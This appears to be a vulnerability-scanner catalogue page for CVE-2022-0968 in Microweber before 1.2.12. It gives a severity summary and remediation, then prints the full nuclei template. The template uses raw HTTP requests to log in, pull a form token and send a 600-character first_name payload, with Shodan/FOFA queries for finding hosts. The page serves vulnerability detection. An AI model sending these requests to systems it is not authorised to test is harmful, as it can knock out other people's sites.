Microweber <1.2.12 - Integer Overflow

mediumseverity

5.5CVSS score

3.7%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

Microweber before 1.2.12 is susceptible to integer overflow. The application allows large characters to insert in the input field 'first & last name,' which can allow an attacker to cause a denial of service via a crafted HTTP request.

Impact

Successful exploitation of this vulnerability could lead to remote code execution or denial of service.

Fix

First name and last name input should be limited to 50 characters or maximum 100 characters.

How to confirm it

Send: POST /api/user_login ; GET /admin/view:modules/load_module:users/edit-user:2 ; POST /api/user/2
Positive when: contains(body_3,'\"first_name\":\"{{payload}}\"') and status_code_3==200 and contains(header_3,"application/json")

Run it with nuclei: nuclei -id CVE-2022-0968 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-0968

info:
  name: Microweber <1.2.12 - Integer Overflow
  author: amit-jd
  severity: medium
  description: |
    Microweber before 1.2.12 is susceptible to integer overflow. The application allows large characters to insert in the input field 'first & last name,' which can allow an attacker to cause a denial of service via a crafted HTTP request.
  impact: |
    Successful exploitation of this vulnerability could lead to remote code execution or denial of service.
  remediation: First name and last name input should be limited to 50 characters or maximum 100 characters.
  reference:
    - https://huntr.dev/bounties/97e36678-11cf-42c6-889c-892d415d9f9e/
    - https://github.com/advisories/GHSA-5fxv-xx5p-g2fv
    - https://huntr.dev/bounties/97e36678-11cf-42c6-889c-892d415d9f9e
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0968
    - https://github.com/microweber/microweber/commit/80e39084729a57dfe749626c3b9d35247a14c49e
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 5.5
    cve-id: CVE-2022-0968
    cwe-id: CWE-190
    epss-score: 0.03731
    epss-percentile: 0.89917
    cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: microweber
    product: microweber
    shodan-query:
      - http.favicon.hash:780351152
      - http.html:"microweber"
    fofa-query:
      - body="microweber"
      - icon_hash=780351152
  tags: cve,cve2022,overflow,microweber,cms,huntr,dos,vuln
variables:
  payload: '{{repeat("A", 600)}}'

http:
  - raw:
      - |
        POST /api/user_login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}
      - |
        GET /admin/view:modules/load_module:users/edit-user:2 HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /api/user/2 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        thumbnail=&id=2&token={{form_token}}&_method=PATCH&username={{user}}&verify_password=&first_name={{payload}}&last_name=test&email={{email}}&phone=&is_admin=0&is_active=1&basic_mode=0&api_key=

    matchers:
      - type: dsl
        dsl:
          - contains(body_3,'\"first_name\":\"{{payload}}\"')
          - 'status_code_3==200'
          - 'contains(header_3,"application/json")'
        condition: and

    extractors:
      - type: regex
        name: form_token
        group: 1
        regex:
          - '<input type="hidden" name="token" value="(.*)" autocomplete="off">'
        internal: true
        part: body

      - type: regex
        name: user
        group: 1
        regex:
          - '<input type="text" class="form-control" name="username" value="(.*)">'
        internal: true
        part: body

      - type: regex
        name: email
        group: 1
        regex:
          - '<input type="email" class="form-control" name="email" value="(.*)">'
        internal: true
        part: body

References

Use this check only on systems you are authorised to test. Where the data comes from